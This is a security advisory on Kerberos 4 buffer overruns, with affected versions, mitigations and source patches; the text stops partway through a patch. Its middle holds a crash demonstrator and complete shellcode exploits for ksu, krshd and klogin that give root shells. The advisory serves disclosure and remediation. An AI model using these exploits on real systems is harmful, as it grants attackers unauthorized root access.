COMMAND
Kerberos IV
SYSTEMS AFFECTED
Kerberos IV
PROBLEM
Jeffrey I. Schiller found following. Serious buffer overrun
vulnerabilities exist in many implementations of Kerberos 4,
including implementations included for backwards compatibility in
Kerberos 5 implementations. Other less serious buffer overrun
vulnerabilites have also been discovered. ALL KNOWN KERBEROS 4
IMPLEMENTATIONS derived from MIT sources are believed to be
vulnerable. Impact:
* A remote user may gain unauthorized root access to a machine
running services authenticated with Kerberos 4.
* A remote user may gain unauthorized root access to a machine
running krshd, regardless of whether the program is
configured to accept Kerberos 4 authentication.
* A local user may gain unauthorized root access by exploiting
v4rcp or ksu.
The MIT Kerberos Team has been made aware of a security
vulnerability in the Kerberos 4 compatibility code contained
within the MIT Kerberos 5 source distributions. This
vulnerability consists of a buffer overrun in the krb_rd_req()
function, which is used by essentially all Kerberos-authenticated
services that use Kerberos 4 for authentication. It is possible
for an attacker to gain root access over the network by exploiting
this vulnerability.
An exploit is known to exist for the Kerberized Berkeley remote
shell daemon (krshd) for at least the i386-Linux platform, and
possibly others. Other buffer overruns have been discovered as
well, though with less far-reaching impact.
The existing exploit does not directly use the buffer overrun in
krb_rd_req(); rather, it uses the buffer that was overrun by
krb_rd_req() to exploit a second overrun in
krb425_conv_principal(). The krb_rd_req() code itself might not
be exploitable once the overrun in krb425_conv_principal() is
repaired, though it is likely that some other method of exploit
may be found that does not require that an overrun exist in
krb425_conv_principal().
Source distributions which may contain vulnerable code include:
- MIT Kerberos 5 releases krb5-1.0.x, krb5-1.1, krb5-1.1.1
- MIT Kerberos 4 patch 10, and likely earlier releases as well
- KerbNet (Cygnus implementation of Kerberos 5)
- Cygnus Network Security (CNS -- Cygnus implementation of Kerberos 4)
Daemons or services that may call krb_rd_req() and are thus
vulnerable to remote exploit include:
- krshd
- klogind (if accepting Kerberos 4 authentication)
- telnetd (if accepting Kerberos 4 authentication)
- ftpd (if accepting Kerberos 4 authentication)
- rkinitd
- kpopd
In addition, it is possible that the v4rcp program, which is
usually installed setuid to root, may be exploited by a local
user to gain root access by means of exploiting the krb_rd_req
vulnerability.
The ksu program in some MIT Kerberos 5 releases has a
vulnerability that may result in unauthorized local root access.
This bug was fixed in krb5-1.1.1, as well as in krb5-1.0.7-beta1.
Release krb5-1.1, as well as krb5-1.0.6 and earlier, are believed
to be vulnerable.
There is an unrelated buffer overrun in the krshd that is
distributed with at least the MIT Kerberos 5 source distributions.
It is not known whether an exploit exists for this buffer overrun.
It is also not known whether this buffer overrun is actually
exploitable.
Windows 2000 is not affected by these vulnerabilities.
Thanks to Jim Paris (MIT class of 2003) for pointing out the
krb_rd_req() vulnerability and Nalin Dahyabhai of Redhat for
pointing out some other buffer overruns and coming up with
patches.
Also, thanks to Chris Evans for his input and work. In fact the
first problem he demonstrated was the kd_mq_req() problem.
Original demonstration details are below.
Usage:
./breakv4rcp > deathfile
export KRB5LOCALADDR=1
export KRB5REMOTEADDR=1
v4rcp -x -f < deathfile (n.b. using a pipe fails probably due to size)
This demonstrates but one of many flaws. If possible it should be
shipped NOT suid-root. Note that this is probably a secondary
overflow; one buffer is overflowed and the contents of that later
overflow another etc. etc. Maybe the 0x61 is to_lower('A'); doubt
it's a problem for exploitation (if it was, there's not a shortage
of other problems. "ksu" is also suid root in RH6.2.
Starting program: /usr/kerberos/bin/v4rcp -x -f < die
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of bounds>)
at ../sysdeps/i386/strlen.c:27
27 ../sysdeps/i386/strlen.c: No such file or directory.
(gdb) bt
#0 0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of bounds>)
at ../sysdeps/i386/strlen.c:27
#1 0x40060c9e in krb5_425_conv_principal ()
from /usr/kerberos/lib/libkrb5.so.2
#2 0x61616161 in ?? ()
Cannot access memory at address 0x61616161
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
int
main(int argc, const char* argv[])
{
char tickbuf[1250];
int i;
char c;
memset(tickbuf, 'A', sizeof(tickbuf));
/* Output to fd 1 (stdout) */
/* Protocol version - MUST be as follows */
write(1, "AUTHV0.1", 8);
/* Application version - arbitrary */
write(1, "DEADBEEF", 8);
/* Ticket size - go for the max */
i = htonl(sizeof(tickbuf));
write(1, &i, 4);
/* The ticket */
/* Kerberos protocol version; today we're breaking version: 4 */
tickbuf[0] = 4;
/* Byteswap is lowest bit (0 will do) */
/* Or with AUTH_MSG_APPL_REQUEST (3<<1) */
tickbuf[1] = 3<<1 | 0;
/* Server key version - arbitrary */
tickbuf[2] = 0;
write(1, tickbuf, sizeof(tickbuf));
}
Exploits (by Jim Paris and duke) follows (ksux.c, a local exploit
for ksu and kshux.c, a remote exploit for krshd):
/********
* ksux.c -- ksu exploit
* written January 26, 2000
* Jim Paris <jim@jtan.com>
*
* This program exploits a vulnerability in the 'ksu' utility included
* with the MIT Kerberos distribution. Versions prior to 1.1.1 are
* vulnerable.
*
* This exploit is for Linux/x86 with Kerberos version 1.0. Exploits
* for other operating systems and versions of Kerberos should also work.
*
* Since krb5_parse_name will reject input with an @ or /, this shellcode
* execs 'sh' instead of '/bin/sh'. As a result, a copy of 'sh' must
* reside in the current directory for the exploit to work.
*
*/
#include <stdlib.h>
#include <stdio.h>
int get_esp(void) { __asm__("movl %esp,%eax"); }
char *shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x02\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xffsh";
#define LEN 0x300
#define RET_OFFSET 0x240
#define JMP_OFFSET 0x240
#define CODE_OFFSET 0x100
int main(int argc, char *argv[])
{
int esp=get_esp();
int i,j; char b[LEN];
memset(b,0x90,LEN);
memcpy(b+CODE_OFFSET,shellcode,strlen(shellcode));
*(int *)&b[RET_OFFSET]=esp+JMP_OFFSET;
b[RET_OFFSET+4]=0;
execlp("ksu","ksu","-n",b,NULL);
}
/********
* kshux.c -- krshd remote exploit
* written April 8, 2000
* Jim Paris <jim@jtan.com>
*
* This program exploits a vulnerability in the 'krshd' daemon included
* with the MIT Kerberos distribution. All versions are apparently
* vulnerable.
*
* This exploit is for Linux/x86 with Kerberos version 1.0, but you'll
* probably need a fair bit of coaxing to get it to work.
*
* And yes, it's ugly. I need to accept an incoming connection from the
* remote server, handle the fact that the overflow goes through two
* functions and a toupper(), make sure that certain overwritten pointers
* on the remote host's stack are set to valid values so that a strlen
* call in krb425_conv_principal() doesn't cause a segfault before we
* return into the shellcode, adjust the offset depending on the remote
* hostname to properly align things, etc etc. As a result, you'll
* probably have a hard time getting this to work -- it took a lot of
* hacking and hardcoded numbers to get this to work against my test
* systems.
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <netdb.h>
#include <time.h>
#include <netinet/in.h>
#define LEN 1200
#define OFFSET 0
#define ADDR 0xbfffd7a4
char *sc="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
void get_incoming(int r) {
int s, l=1; struct sockaddr_in sa, ra;
bzero(&sa,sizeof(sa));
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=htonl(INADDR_ANY);
sa.sin_port=htons(16474);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
perror("socket"),exit(1);
setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&l,sizeof(l));
if(bind(s,(struct sockaddr *)&sa,sizeof(sa))<0)
perror("bind"),exit(1);
if(listen(s,1))
perror("listen"),exit(1);
write(r,"16474",6);
if(accept(s,&sa,&l)<0)
perror("accept"),exit(1);
}
int con_outgoing(char *h) {
int s, i; struct sockaddr_in a; struct hostent *e;
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
perror("socket"),exit(1);
if((i=inet_addr(h))==INADDR_NONE) {
if((e=gethostbyname(h))==NULL)
perror("gethostbyname"),exit(1);
bcopy(e->h_addr,&i,sizeof(i)); }
bzero(&a,sizeof(a));
a.sin_family=AF_INET;
a.sin_addr.s_addr=i;
a.sin_port=htons(544);
if(connect(s,(struct sockaddr *)&a,sizeof(a))<0)
perror("connect"),exit(1);
return s;
}
void bus(int s) {
int i; fd_set r; char b[1024];
for(;;) {
FD_ZERO(&r); FD_SET(0,&r); FD_SET(s,&r);
if((i=select(s+1,&r,NULL,NULL,NULL))==-1)
perror("select"),exit(1);
if(i==0) fprintf(stderr,"closed\n"),exit(0);
if(FD_ISSET(s,&r)) {
if((i=read(s,b,sizeof(b)))<1)
fprintf(stderr,"closed\n"),exit(0);
write(1,b,i); }
if(FD_ISSET(0,&r)) {
if((i=read(0,b,sizeof(b)))<1)
fprintf(stderr,"closed\n"),exit(0);
write(s,b,i); } }
}
void main(int ac, char *av[])
{
int s, i, j, a=ADDR, o=OFFSET;
int l, h;
char b[LEN];
if(ac<2) {
fprintf(stderr,"%s hostname [addr] [offset]\n",*av);
exit(1);
}
a+=(ac>2)?atoi(av[2]):0;
o+=(ac>3)?atoi(av[3]):(4-(strlen(av[1])%4));
o%=4;
if(o<0) o+=4;
l=(ac>4)?atoi(av[4]):-10;
h=(ac>5)?atoi(av[5]):10;
fprintf(stderr,"addr=%p, offset=%d\n",a,o);
if(isupper(((char *)&a)[0]) ||
isupper(((char *)&a)[1]) ||
isupper(((char *)&a)[2]) ||
isupper(((char *)&a)[3]))
fprintf(stderr,"error: addr contains uppercase\n"),exit(0);
s=con_outgoing(av[1]);
get_incoming(s);
sprintf(&b[0],"AUTHV0.1blahblah");
*(int *)(b+16)=htonl(LEN);
b[20]=4; b[21]=7; b[22]=123;
write(s,b,23);
for(i=0;i<LEN-8-strlen(sc)-1;i++) b[i]=0x90;
bcopy(sc,b+i,strlen(sc)+1);
for(i=LEN-8;i<LEN;i++) b[i]=0x00;
for(i=255+o+l*4;i<=255+o+h*4;i+=4) *(int *)(b+i)=(a-4);
*(int *)(b+251+o)=a;
write(s,b,LEN);
bus(s);
}
duke added his klogin exploit:
/*
klogin remote buffer overflow
by duke (duke@viper.net.au)
tested on BSDI 4.0.1 klogin.
The bug is actually in the kerberos library so this
affects all kerb services (kerbIV). This code should need
minimal (if any) modification to use on other kerberos services.
it will only work if the file /etc/kerberosIV/krb.conf exists.
-duke
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#define RET 0x8047830
#define NOPLEN 900
#define MAX(x, y) ((x > y) ? x : y)
char bsdi_shell[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"
"\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"
"\xff\xe8\xdc\xff\xff\xff/bin/sh\x00";
void usage(char *);
void shell(int);
char *make_data(void);
int offset=0;
int main(int argc, char **argv)
{
int sockfd, port=543, c;
char *pkt, buf[1024];
struct sockaddr_in sin;
struct hostent *hp;
while((c = getopt(argc, argv, "p:o:")) != EOF){
switch(c){
case 'p': port = atoi(optarg); break;
case 'o': offset = atoi(optarg); break;
default: usage(argv[0]);
}
}
if(!argv[optind])
usage(argv[0]);
if((hp = gethostbyname(argv[optind])) == NULL){
fprintf(stderr, "can't resolve host\n");
exit(-1);
}
pkt = make_data();
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr = *((struct in_addr *)hp->h_addr_list[0]);
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(-1);
}
if(connect(sockfd, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("connect");
exit(-1);
}
write(sockfd, pkt, 1221);
free(pkt);
shell(sockfd);
}
void usage(char *p)
{
fprintf(stderr, "usage: %s [ -p port ] [ -o offset ] <hostname>\n", p);
fprintf(stderr, "-p: port to use\n");
fprintf(stderr, "-o: offset\n");
exit(0);
}
char *make_data(void)
{
char *tmp, *ptr;
int i;
if((tmp=(char *)calloc(1250, sizeof(char))) == NULL){
perror("calloc");
exit(-1);
}
ptr = tmp;
*ptr++ = 0x00;
memcpy(ptr, "AUTHV0.1", 8);
ptr+=8;
for(i=0; i<8; i++)
*ptr++ = 0x41;
*(unsigned long *)ptr = htonl(1200);
ptr+=4;
*(unsigned int *)ptr++ = 4;
*ptr++ = 8;
*ptr++ = 1;
for(i=0; i < 600; i+=4)
*(long *)&ptr[i] = RET + offset;
memset(ptr+300, 0x90, NOPLEN);
memcpy(ptr+800, bsdi_shell,
sizeof(bsdi_shell));
*(ptr+1000) = 0x00;
return(tmp);
}
void shell(int sock)
{
fd_set rset;
char bu[1024];
write(sock, "cd /; id; pwd; uname -a;\n", 25);
FD_ZERO(&rset);
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sock, &rset);
if(select(MAX(sock, fileno(stdin))+1, &rset, NULL, NULL, NULL) < 0){
perror("select");
exit(-1);
}
if(FD_ISSET(sock, &rset)){
char buf[1024];
int n;
bzero(buf, sizeof(buf));
n = read(sock, buf, sizeof(buf)-1);
if(n == 0){
printf("EOF from server\n");
exit(0);
}
if(n < 0){
perror("read");
exit(-1);
} else {
write(1, buf, n);
}
}
if(FD_ISSET(fileno(stdin), &rset)){
char buf[1024];
bzero(buf, sizeof(buf));
if(fgets(buf, sizeof(buf)-4, stdin) == NULL){
printf("OK. Quitting\n");
close(sock);
exit(0);
}
strcat(buf, "\n");
if(write(sock, buf, strlen(buf)) < 0){
perror("write");
exit(0);
}
}
}
}
SOLUTION
Certain daemons that are called from inetd may be safe from
exploitation if their command line invocation is modified to
exclude the use of Kerberos 4 for authentication. Please consult
the manpages or other documentation for your Kerberos distribution
in order to determine the correct command line for disabling
Kerberos 4 authentication. Daemons for which this approach
may work include:
- krshd (*)
- klogind
- telnetd
(*) The krshd program may still be vulnerable to remote attack if
Kerberos 4 authentication is disabled, due to the unrelated
buffer overrun mentioned above. It is best to disable the
krshd program completely until a patched version can be
installed.
The v4rcp program should have its setuid permission removed,
since it may be possible to perform a local exploit against it.
The krb5 ksu program should have its setuid premission removed,
if it was not compiled from krb5-1.1.1, krb5-1.0.7-beta1, or
later code. Merely replacing the ksu binary with one compiled
from krb5-1.1.1 or krb5-1.0.7-beta1 should be safe, provided that
it is not compiled with shared libraries (the vulnerability is
related to some library bugs). If ksu was compiled with shared
libraries, it may be best to install a new release that has the
library bug fixed.
In the MIT Kerberos 5 releases, it may not be possible to disable
Kerberos 4 authentication in the ftpd program. Note that only
releases krb5-1.1 and later will have the ability to receive
Kerberos 4 authentication.
The best course of action is to patch the code in the krb4
library, in addition to patching the code in the krshd program.
The following patches include some less essential patches that
also affect buffer overruns in potentially vulnerable code, but
for which exploits are somewhat more difficult to construct.
Please note that there are two sets of patches in this file that
apply against identically named files in two different releases.
You should separate out the patch set that is relevant to you
prior to applying them; otherwise, you may inadvertently patch
some files twice. MIT will soon release krb5-1.2, which will
have these changes incorporated.
PATCHES AGAINST krb5-1.0.x:
===========================
The following are patches against 1.0.7-beta1 (roughly). The most
critical ones are:
- appl/bsd/krshd.c
- lib/krb4/rd_req.c
- lib/krb5/krb/conv_princ.c
The rest are not as important but you may wish to apply them
anyway out of paranoia. These patches may apply with a little
bit of fuzz against releases prior to krb5-1.0.7-beta1, but there
likely have not been significant changes in the affected code.
These patches may also apply against KerbNet. The
lib/krb4/rd_req.c patch may also apply against CNS and MIT
Kerberos 4.
Index: appl/bsd/krshd.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/appl/bsd/krshd.c,v
retrieving revision 5.66.2.6
diff -c -r5.66.2.6 krshd.c
*** krshd.c 1999/03/09 00:27:31 5.66.2.6
--- krshd.c 2000/04/29 02:58:52
***************
*** 1469,1483 ****
strcpy((char *) cmdbuf + offst, kprogdir);
cp = copy + 3 + offst;
if (auth_sys == KRB5_RECVAUTH_V4) {
! strcat(cmdbuf, "/v4rcp");
} else {
! strcat(cmdbuf, "/rcp");
}
if (stat((char *)cmdbuf + offst, &s) >= 0)
! strcat(cmdbuf, cp);
else
! strcpy(cmdbuf, copy);
free(copy);
}
#endif
--- 1469,1484 ----
strcpy((char *) cmdbuf + offst, kprogdir);
cp = copy + 3 + offst;
+ cmdbuf[sizeof(cmdbuf) - 1] = '\0';
if (auth_sys == KRB5_RECVAUTH_V4) {
! strncat(cmdbuf, "/v4rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
} else {
! strncat(cmdbuf, "/rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
}
if (stat((char *)cmdbuf + offst, &s) >= 0)
! strncat(cmdbuf, cp, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
else
! strncpy(cmdbuf, copy, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
free(copy);
}
#endif
Index: lib/krb4/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/kuserok.c,v
retrieving revision 1.3
diff -c -r1.3 kuserok.c
*** kuserok.c 1996/01/27 06:06:22 1.3
--- kuserok.c 2000/04/29 02:59:02
***************
*** 115,122 ****
if ((pwd = getpwnam(luser)) == NULL) {
return(NOTOK);
}
! (void) strcpy(pbuf, pwd->pw_dir);
! (void) strcat(pbuf, "/.klogin");
if (access(pbuf, F_OK)) { /* not accessible */
/*
--- 115,125 ----
if ((pwd = getpwnam(luser)) == NULL) {
return(NOTOK);
}
! if (strlen (pwd->pw_dir) + sizeof ("/.klogin") >= sizeof (pbuf))
! return NOTOK;
! (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
! pbuf[sizeof(pbuf) - 1] = '\0';
! (void) strncat(pbuf, "/.klogin", sizeof(pbuf) - 1 - strlen(pbuf));
if (access(pbuf, F_OK)) { /* not accessible */
/*
Index: lib/krb4/rd_req.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/rd_req.c,v
retrieving revision 1.4
diff -c -r1.4 rd_req.c
*** rd_req.c 1996/02/24 14:29:26 1.4
--- rd_req.c 2000/04/29 02:59:02
***************
*** 155,160 ****
--- 155,162 ----
Kerberos used to encrypt ticket */
int status;
+ tkt->mbz = req_id->mbz = 0;
+
if (authent->length <= 0)
return(RD_AP_MODIFIED);
***************
*** 190,197 ****
mutual = 0;
#endif /* lint */
s_kvno = *ptr++; /* get server key version */
! (void) strcpy(realm,ptr); /* And the realm of the issuing KDC */
! ptr += strlen(ptr) + 1; /* skip the realm "hint" */
/*
* If "fn" is NULL, key info should already be set; don't
--- 192,200 ----
mutual = 0;
#endif /* lint */
s_kvno = *ptr++; /* get server key version */
! (void) strncpy(realm,ptr,REALM_SZ); /* And the realm of the issuing KDC */
! realm[REALM_SZ-1] = '\0';
! ptr += strlen(realm) + 1; /* skip the realm "hint" */
/*
* If "fn" is NULL, key info should already be set; don't
***************
*** 277,289 ****
#define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);
ptr = (char *) req_id->dat;
! (void) strcpy(r_aname,ptr); /* Authentication name */
ptr += strlen(r_aname)+1;
check_ptr();
! (void) strcpy(r_inst,ptr); /* Authentication instance */
ptr += strlen(r_inst)+1;
check_ptr();
! (void) strcpy(r_realm,ptr); /* Authentication name */
ptr += strlen(r_realm)+1;
check_ptr();
memcpy((char *)&ad->checksum, ptr, 4); /* Checksum */
--- 280,295 ----
#define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);
ptr = (char *) req_id->dat;
! (void) strncpy(r_aname,ptr,ANAME_SZ); /* Authentication name */
! r_aname[ANAME_SZ-1] = '\0';
ptr += strlen(r_aname)+1;
check_ptr();
! (void) strncpy(r_inst,ptr,INST_SZ); /* Authentication instance */
! r_inst[INST_SZ-1] = '\0';
ptr += strlen(r_inst)+1;
check_ptr();
! (void) strncpy(r_realm,ptr,REALM_SZ); /* Authentication name */
! r_realm[REALM_SZ-1] = '\0';
ptr += strlen(r_realm)+1;
check_ptr();
memcpy((char *)&ad->checksum, ptr, 4); /* Checksum */
Index: lib/krb5/krb/conv_princ.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/krb/conv_princ.c,v
retrieving revision 1.19.8.1
diff -c -r1.19.8.1 conv_princ.c
*** conv_princ.c 1999/02/07 00:52:01 1.19.8.1
--- conv_princ.c 2000/04/29 02:59:04
***************
*** 243,249 ****
if (retval == 0 && full_name && full_name[0]) {
instance = full_name[0];
} else {
! strcpy(buf, instance);
retval = krb5_get_realm_domain(context, realm, &domain);
if (retval)
return retval;
--- 243,250 ----
if (retval == 0 && full_name && full_name[0]) {
instance = full_name[0];
} else {
! strncpy(buf, instance, sizeof(buf));
! buf[sizeof(buf) - 1] = '\0';
retval = krb5_get_realm_domain(context, realm, &domain);
if (retval)
return retval;
***************
*** 251,258 ****
for (cp = domain; *cp; cp++)
if (isupper(*cp))
*cp = tolower(*cp);
! strcat(buf, ".");
! strcat(buf, domain);
krb5_xfree(domain);
}
instance = buf;
--- 252,259 ----
for (cp = domain; *cp; cp++)
if (isupper(*cp))
*cp = tolower(*cp);
! strncat(buf, ".", sizeof(buf) - 1 - strlen(buf));
! strncat(buf, domain, sizeof(buf) - 1 - strlen(buf));
krb5_xfree(domain);
}
instance = buf;
Index: lib/krb5/os/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/os/kuserok.c,v
retrieving revision 5.19
diff -c -r5.19 kuserok.c
*** kuserok.c 1996/06/12 05:15:02 5.19
--- kuserok.c 2000/04/29 02:59:04
***************
*** 77,84 ****
if ((pwd = getpwnam(luser)) == NULL) {
return(FALSE);
}
! (void) strcpy(pbuf, pwd->pw_dir);
! (void) strcat(pbuf, "/.k5login");
if (access(pbuf, F_OK)) { /* not accessible */
/*
--- 77,85 ----
if ((pwd = getpwnam(luser)) == NULL) {
return(FALSE);
}
! (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
! pbuf[sizeof(pbuf) - 1] = '\0';
! (void) strncat(pbuf, "/.k5login", sizeof(pbuf) - 1 - strlen(pbuf));
if (access(pbuf, F_OK)) { /* not accessible */
/*
Index: lib/krb5/posix/syslog.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/posix/syslog.c,v
retrieving revision 5.7
diff -c -r5.7 syslog.c
*** syslog.c 1996/06/12 05:16:04 5.7
--- syslog.c 2000/04/29 02:59:04
***************
*** 115,121 ****
(void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
for (p = tbuf; *p; ++p);
if (LogTag) {
! (void)strcpy(p, LogTag);
for (; *p; ++p);
}
if (LogStat & LOG_PID) {
--- 115,121 ----
(void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
for (p = tbuf; *p; ++p);
if (LogTag) {
! (void)strncpy(p, LogTag, sizeof(tbuf) - 1 - (p - tbuf));
for (; *p; ++p);
}
if (LogStat & LOG_PID) {
***************
*** 146,151 ****
--- 146,156 ----
}
(void)vsprintf(p, fmt_cpy, ap);
+ /* Bounds checking?? If a system doesn't have syslog, we
+ probably can't rely on it having vsnprintf either. Try not
+ to let a buffer overrun be exploited. */
+ if (strlen (tbuf) >= sizeof (tbuf))
+ abort ();
/* output the message to the local logger */
if (send(LogFile, tbuf, cnt = strlen(tbuf), 0) >= 0 ||
***************
*** 169,175 ****
if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
return;
(void)alarm((u_int)0);
! (void)strcat(tbuf, "\r");
p = strchr(tbuf, '>') + 1;
(void)write(fd, p, cnt + 1 - (p - tbuf));
(void)close(fd);
--- 174,181 ----
if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
return;
(void)alarm((u_int)0);
! tbuf[sizeof(tbuf) - 1] = '\0';
! (void)strncat(tbuf, "\r", sizeof(tbuf) - 1 - strlen(tbuf));
p = strchr(tbuf, '>') + 1;
(void)write(fd, p, cnt + 1 - (p - tbuf));
(void)close(fd);
PATCHES AGAINST krb5-1.1.1:
===========================
The following are patches against 1.1.1. The most critical ones
are:
- appl/bsd/krshd.c
- lib/krb4/rd_req.c
- lib/krb5/krb/conv_princ.c
The rest are not as important but you may wish to apply them
anyway out of paranoia.
Index: appl/bsd/krshd.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/appl/bsd/krshd.c,v
retrieving revision 5.79.2.1
diff -c -r5.79.2.1 krshd.c
*** krshd.c 1999/08/23 18:55:10 5.79.2.1
--- krshd.c 2000/04/29 03:00:38
***************
*** 1468,1482 ****
strcpy((char *) cmdbuf + offst, kprogdir);
cp = copy + 3 + offst;
if (auth_sys == KRB5_RECVAUTH_V4) {
! strcat(cmdbuf, "/v4rcp");
} else {
! strcat(cmdbuf, "/rcp");
}
if (stat((char *)cmdbuf + offst, &s) >= 0)
! strcat(cmdbuf, cp);
else
! strcpy(cmdbuf, copy);
free(copy);
}
#endif
--- 1468,1483 ----
strcpy((char *) cmdbuf + offst, kprogdir);
cp = copy + 3 + offst;
+ cmdbuf[sizeof(cmdbuf) - 1] = '\0';
if (auth_sys == KRB5_RECVAUTH_V4) {
! strncat(cmdbuf, "/v4rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
} else {
! strncat(cmdbuf, "/rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
}
if (stat((char *)cmdbuf + offst, &s) >= 0)
! strncat(cmdbuf, cp, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
else
! strncpy(cmdbuf, copy, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
free(copy);
}
#endif
Index: lib/krb4/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/kuserok.c,v
retrieving revision 1.5
diff -c -r1.5 kuserok.c
*** kuserok.c 1997/09/26 02:41:41 1.5
--- kuserok.c 2000/04/29 03:00:53
***************
*** 118,125 ****
if ((pwd = getpwnam(luser)) == NULL) {
return(NOTOK);
}
! (void) strcpy(pbuf, pwd->pw_dir);
! (void) strcat(pbuf, "/.klogin");
if (access(pbuf, F_OK)) { /* not accessible */
/*
--- 118,128 ----
if ((pwd = getpwnam(luser)) == NULL) {
return(NOTOK);
}
! if (strlen (pwd->pw_dir) + sizeof ("/.klogin") >= sizeof (pbuf))
! return NOTOK;
! (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
! pbuf[sizeof(pbuf) - 1] = '\0';
! (void) strncat(pbuf, "/.klogin", sizeof(pbuf) - 1 - strlen(pbuf));
if (access(pbuf, F_OK)) { /* not accessible */
/*
Index: lib/krb4/rd_req.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/rd_req.c,v
retrieving revision 1.9
diff -c -r1.9 rd_req.c
*** rd_req.c 1999/02/09 02:57:14 1.9
--- rd_req.c 2000/04/29 03:00:53
***************
*** 184,189 ****
--- 184,191 ----
krb5_keyblock keyblock;
int status;
+ tkt->mbz = req_id->mbz = 0;
+
if (authent->length <= 0)
return(RD_AP_MODIFIED);
***************
*** 219,226 ****
mutual = 0;
#endif /* lint */
s_kvno = *ptr++; /* get server key version */
! (void) strcpy(realm,ptr); /* And the realm of the issuing KDC */
! ptr += strlen(ptr) + 1; /* skip the realm "hint" */
/*
* If "fn" is NULL, key info should already be set; don't
--- 221,229 ----
mutual = 0;
#endif /* lint */
s_kvno = *ptr++; /* get server key version */
! (void) strncpy(realm,ptr,REALM_SZ); /* And the realm of the issuing KDC */
! realm[REALM_SZ-1] = '\0';
! ptr += strlen(realm) + 1; /* skip the realm "hint" */
/*
* If "fn" is NULL, key info should already be set; don't
***************
*** 324,336 ****
#define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);
ptr = (char *) req_id->dat;
! (void) strcpy(r_aname,ptr); /* Authentication name */
ptr += strlen(r_aname)+1;
check_ptr();
! (void) strcpy(r_inst,ptr); /* Authentication instance */
ptr += strlen(r_inst)+1;
check_ptr();
! (void) strcpy(r_realm,ptr); /* Authentication name */
ptr += strlen(r_realm)+1;
check_ptr();
memcpy((char *)&ad->checksum, ptr, 4); /* Checksum */
--- 327,342 ----
#define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);
ptr = (char *) req_id->dat;
! (void) strncpy(r_aname,ptr,ANAME_SZ); /* Authentication name */
! r_aname[ANAME_SZ-1] = '\0';
ptr += strlen(r_aname)+1;
check_ptr();
! (void) strncpy(r_inst,ptr,INST_SZ); /* Authentication instance */
! r_inst[INST_SZ-1] = '\0';
ptr += strlen(r_inst)+1;
check_ptr();
! (void) strncpy(r_realm,ptr,REALM_SZ); /* Authentication name */
! r_realm[REALM_SZ-1] = '\0';
ptr += strlen(r_realm)+1;
check_ptr();
memcpy((char *)&ad->checksum, ptr, 4); /* Checksum */
Index: lib/krb5/krb/conv_princ.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/krb/conv_princ.c,v
retrieving revision 1.23.2.2
diff -c -r1.23.2.2 conv_princ.c
*** conv_princ.c 1999/10/12 23:16:58 1.23.2.2
--- conv_princ.c 2000/04/29 03:00:55
***************
*** 234,240 ****
if (retval == 0 && full_name && full_name[0]) {
instance = full_name[0];
} else {
! strcpy(buf, instance);
retval = krb5_get_realm_domain(context, realm, &domain);
if (retval)
return retval;
